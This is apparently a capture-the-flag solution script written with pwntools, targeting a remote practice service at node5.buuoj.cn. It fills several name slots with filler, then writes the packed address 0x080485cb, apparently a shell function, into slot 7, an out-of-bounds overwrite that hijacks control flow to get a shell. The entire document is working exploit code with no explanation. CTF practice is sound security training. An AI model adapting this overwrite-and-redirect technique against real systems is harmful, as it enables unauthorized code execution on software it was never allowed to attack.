from tools import * #p = process('./name') p = remote("node5.buuoj.cn",28394) #debug(p)
p.sendlineafter(b"Name for which?\n>",b'1') p.sendlineafter(b"Give your name plz: ",b'a') p.sendlineafter(b"Name for which?\n>",b'1') p.sendlineafter(b"Give your name plz: ",b'a') p.sendlineafter(b"Name for which?\n>",b'1') p.sendlineafter(b"Give your name plz: ",b'a') p.sendlineafter(b"Name for which?\n>",b'1') p.sendlineafter(b"Give your name plz: ",b'a')
shell_addr = 0x080485cb payload = p32(shell_addr) p.sendlineafter(b"Name for which?\n>",b'7') p.sendlineafter(b"Give your name plz: ",payload)